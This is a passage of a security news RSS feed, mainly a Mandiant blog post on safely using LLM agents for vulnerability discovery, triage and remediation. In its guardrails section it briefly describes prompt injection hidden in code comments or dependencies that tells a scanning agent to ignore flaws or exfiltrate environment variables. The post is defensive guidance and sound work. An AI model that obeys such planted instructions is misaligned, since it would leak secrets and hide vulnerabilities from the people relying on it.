<content:encoded><![CDATA[Shark's CryoGlow Plus promises 120% better coverage plus the brand's InstaChill Cold technology to help soothe and de-puff]]></content:encoded>
</item>
<item>
<title><![CDATA[AppleCare One warranty bundle just became an even better value for customers]]></title>
<description><![CDATA[While Apple’s latest AppleCare+ price increase for Mac and iPad is small in isolation, it makes AppleCare One an even better value. Apple increasing the price of Mac and iPad hardware also makes warranty coverage a stronger consideration.]]></description>
<link>https://tsecurity.de/de/3673904/ios-mac-os/applecare-one-warranty-bundle-just-became-an-even-better-value-for-customers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673904/ios-mac-os/applecare-one-warranty-bundle-just-became-an-even-better-value-for-customers/</guid>
<pubDate>Thu, 16 Jul 2026 17:09:31 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="feat-image"><img src="https://9to5mac.com/wp-content/uploads/sites/6/2025/07/applecare-one.webp?w=1600"></div><p class="wp-block-paragraph">While Apple’s latest AppleCare+ price increase for Mac and iPad is small in isolation, it makes AppleCare One an even better value. Apple increasing the price of Mac and iPad hardware also makes warranty coverage a stronger consideration.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]></title>
<description><![CDATA[Written by: Jules Czarniak

Introduction 
As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 
To keep pace, many security teams are exploring how to integrate la...]]></description>
<link>https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 16:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jules Czarniak</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction </span></h3>
<p><span>As highlighted in the </span><a href="https://cloud.google.com/security/resources/m-trends"><span>Mandiant M-Trends 2026 report</span></a><span>, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. </span></p>
<p><span>To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. </span></p>
<p><span>In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. </span></p>
<h3><span>Establish Operational Guardrails to Safely Deploy AI Agents</span></h3>
<p><span>To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the </span><a href="https://www.nist.gov/itl/ai-risk-management-framework" rel="noopener" target="_blank"><span>NIST AI Risk Management Framework (RMF)</span></a><span> and the </span><a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/" rel="noopener" target="_blank"><span>OWASP Top 10 for LLMs</span></a><span> provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.</span></p>
<p><span>Frameworks like </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>Google’s Secure AI Framework (SAIF)</span></a><span> </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>and</span></a><a href="https://storage.googleapis.com/gweb-research2023-media/pubtools/1018686.pdf" rel="noopener" target="_blank"><span> </span><span>Google’s approach to secure AI Agents</span></a><span> provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Pre-agent data security and Defense-in-Depth:</strong><span> Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as </span><a href="https://docs.cloud.google.com/model-armor/overview"><span>Model Armor</span></a><span> or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud provider limitations and zero data retention (ZDR):</strong><span> Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Workload isolation:</strong><span> Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Red Teaming:</strong><span> Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Least-Privileged Machine Identities and Human Controllers:</strong><span> While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. T</span><span>his enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Supply chain resilience for skills:</strong><span> As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Toxic flow analysis (TFA) and Observable Actions:</strong><span> The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity </span><span>before</span><span> deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image1.max-1000x1000.png" alt="Demystifying AI image1">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="u6hlz">Figure 1: Visual representation of an isolated AI agent environment using SAIF mechanisms</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.</span></p>
<h3><span>The need for human-led threat modeling</span></h3>
<p><span>While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).</span></p>
<p><span>While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.</span></p>
<p><span>Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: </span><span>why does that microservice possess broad database read permissions in the first place?</span><span> </span></p>
<p><span>Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the </span><a href="https://services.google.com/fh/files/misc/ds-threat-modeling-security-service-en.pdf" rel="noopener" target="_blank"><span>Mandiant Threat Modeling Security Service</span></a><span> to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.</span></p>
<p><span>Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).</span></p>
<h3><span>Track 1: Enterprise Vulnerability Management</span></h3>
<h4><span>Foundational security and discovery </span></h4>
<p><span>While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.</span></p>
<p><span>Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like </span><a href="https://cloud.google.com/wiz?e=48754805"><span>Wiz</span></a><span> can be used to map this initial footprint.</span></p>
<h3><span>Risk-based vulnerability management </span></h3>
<p><span>Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.</span></p>
<p><span>A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:</span></p>
<p><span>Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)</span></p>
<p><span>The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Vulnerability severity (S_vuln): </strong><span>The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Asset context (S_asset): </strong><span>A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Threat context (S_threat): </strong><span>The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.</span></p>
</li>
</ul>
<p><span>An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image5.max-1000x1000.png" alt="Demystifying AI image5">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ce5s1">Figure 2: Integration points of a risk-based vulnerability management (RBVM) program.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Containment and Observability</span></h3>
<p><span>Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.</span></p>
<p><span>A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.</span></p>
<p><span>For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.</span></p>
<p><span>Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like </span><a href="https://slsa.dev/spec/v0.1/levels" rel="noopener" target="_blank"><span>Supply-chain Levels for Software Artifacts (SLSA)</span></a><span> across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as </span><a href="https://cloud.google.com/security/products/assured-open-source-software"><span>Google Assured Open Source Software (OSS)</span></a><span> or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.</span></p>
<p><span>To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.</span></p>
<p><span>Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.</span></p>
<p><span>Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image8.max-1000x1000.png" alt="Demystifying AI image8">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 3: Structural containment and observability architecture</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Track 2: Product Security &amp; Development (1P Code)</span></h3>
<h4><span>Deterministic and probabilistic tooling</span></h4>
<p><span>Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.</span></p>
<p><span>While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.</span></p>
<p><span>Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image4.max-1000x1000.png" alt="Demystifying AI image4">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 4: Deterministic SAST scanners vs. probabilistic LLMs</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Binary and architectural oracles</span></h3>
<p><span>Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.</span></p>
<p><span>Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.</span></p>
<p><span>However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image3.max-1000x1000.png" alt="Demystifying AI image3">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 5: Evaluating vulnerabilities against binary vs. architectural oracles</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Targeted deployment and human impact</span></h3>
<p><span>Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.</span></p>
<p><span>Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.</span></p>
<p><span>Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Memory-unsafe codebases:</strong><span> Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Systems highly exposed to outside content:</strong><span> First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Shared internal libraries and utilities: </strong><span>Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Foundational security boundaries:</strong><span> Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.</span></p>
</li>
</ul>
<p><span>To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.</span></p>
<p><span>However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.</span></p>
<p><span>This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.</span></p>
<p><span>When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image_20.max-1000x1000.png" alt="Demistiying Image 6 New">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Remediation and hardening</span></h3>
<h4><span>LLM-assisted code remediation</span></h4>
<p><span>A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include </span><a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/" rel="noopener" target="_blank"><span>CodeMender</span></a><span>, although as of time of writing, it is not publicly available.</span></p>
<h4><strong>IDE-integrated method</strong><span> </span></h4>
<p><span>This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Localized scope:</strong><span> The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Human-in-the-loop:</strong><span> The developer reviews the AI-generated patch before the code is committed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Managing false positives:</strong><span> Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.</span></p>
</li>
</ul>
<h4><strong>CI/CD runner method</strong><span> </span></h4>
<p><span>The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Restricted execution and deterministic validation: </strong><span>Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.</span></p>
</li>
</ul>
<p><span>In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.</span></p>
<h4><strong>Post-deployment controls</strong><span> </span></h4>
<p><span>Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automated rollbacks:</strong><span> Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Mitigating model drift:</strong><span> Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compliance and auditability:</strong><span> If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
